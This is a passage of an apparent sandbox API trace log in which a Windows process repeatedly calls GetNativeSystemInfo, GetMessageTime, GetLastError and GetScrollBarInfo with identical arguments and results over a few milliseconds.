dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.914] GetMessageTime () returned 0 [0045.914] GetLastError () returned 0x578 [0045.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.914] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.914] GetMessageTime () returned 0 [0045.914] GetLastError () returned 0x578 [0045.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.914] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.914] GetMessageTime () returned 0 [0045.914] GetLastError () returned 0x578 [0045.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.914] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.914] GetMessageTime () returned 0 [0045.915] GetLastError () returned 0x578 [0045.915] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.915] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.915] GetMessageTime () returned 0 [0045.915] GetLastError () returned 0x578 [0045.915] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.915] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.915] GetMessageTime () returned 0 [0045.915] GetLastError () returned 0x578 [0045.915] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.915] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.915] GetMessageTime () returned 0 [0045.915] GetLastError () returned 0x578 [0045.915] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.916] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.916] GetMessageTime () returned 0 [0045.916] GetLastError () returned 0x578 [0045.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.916] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.916] GetMessageTime () returned 0 [0045.916] GetLastError () returned 0x578 [0045.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.916] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.916] GetMessageTime () returned 0 [0045.916] GetLastError () returned 0x578 [0045.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.916] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.916] GetMessageTime () returned 0 [0045.916] GetLastError () returned 0x578 [0045.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.916] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.916] GetMessageTime () returned 0 [0045.916] GetLastError () returned 0x578 [0045.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.916] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.916] GetMessageTime () returned 0 [0045.916] GetLastError () returned 0x578 [0045.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.917] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.917] GetMessageTime () returned 0 [0045.917] GetLastError () returned 0x578 [0045.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.917] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.917] GetMessageTime () returned 0 [0045.917] GetLastError () returned 0x578 [0045.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.917] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.917] GetMessageTime () returned 0 [0045.917] GetLastError () returned 0x578 [0045.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.917] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.917] GetMessageTime () returned 0 [0045.917] GetLastError () returned 0x578 [0045.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.917] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.917] GetMessageTime () returned 0 [0045.917] GetLastError () returned 0x578 [0045.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.917] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.917] GetMessageTime () returned 0 [0045.917] GetLastError () returned 0x578 [0045.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.918] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.918] GetMessageTime () returned 0 [0045.918] GetLastError () returned 0x578 [0045.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.918] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.918] GetMessageTime () returned 0 [0045.918] GetLastError () returned 0x578 [0045.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.918] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.918] GetMessageTime () returned 0 [0045.918] GetLastError () returned 0x578 [0045.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.918] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.918] GetMessageTime () returned 0 [0045.918] GetLastError () returned 0x578 [0045.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.918] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.918] GetMessageTime () returned 0 [0045.918] GetLastError () returned 0x578 [0045.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.918] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.918] GetMessageTime () returned 0 [0045.918] GetLastError () returned 0x578 [0045.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.919] GetMessageTime () returned 0 [0045.919] GetLastError () returned 0x578 [0045.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.919] GetMessageTime () returned 0 [0045.919] GetLastError () returned 0x578 [0045.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.919] GetMessageTime () returned 0 [0045.919] GetLastError () returned 0x578 [0045.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.919] GetMessageTime () returned 0 [0045.919] GetLastError () returned 0x578 [0045.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.919] GetMessageTime () returned 0 [0045.919] GetLastError () returned 0x578 [0045.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.919] GetMessageTime () returned 0 [0045.920] GetLastError () returned 0x578 [0045.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.920] GetMessageTime () returned 0 [0045.920] GetLastError () returned 0x578 [0045.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.920] GetMessageTime () returned 0 [0045.920] GetLastError () returned 0x578 [0045.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.920] GetMessageTime () returned 0 [0045.920] GetLastError () returned 0x578 [0045.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.920] GetMessageTime () returned 0 [0045.920] GetLastError () returned 0x578 [0045.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.920] GetMessageTime () returned 0 [0045.920] GetLastError () returned 0x578 [0045.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.921] GetMessageTime () returned 0 [0045.921] GetLastError () returned 0x578 [0045.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.921] GetMessageTime () returned 0 [0045.921] GetLastError () returned 0x578 [0045.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.921] GetMessageTime () returned 0 [0045.921] GetLastError () returned 0x578 [0045.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.921] GetMessageTime () returned 0 [0045.921] GetLastError () returned 0x578 [0045.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.921] GetMessageTime () returned 0 [0045.921] GetLastError () returned 0x578 [0045.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.921] GetMessageTime () returned 0 [0045.921] GetLastError () returned 0x578 [0045.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.922] GetMessageTime () returned 0 [0045.922] GetLastError () returned 0x578 [0045.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.922] GetMessageTime () returned 0 [0045.922] GetLastError () returned 0x578 [0045.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.922] GetMessageTime () returned 0 [0045.922] GetLastError () returned 0x578 [0045.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.922] GetMessageTime () returned 0 [0045.922] GetLastError () returned 0x578 [0045.922] 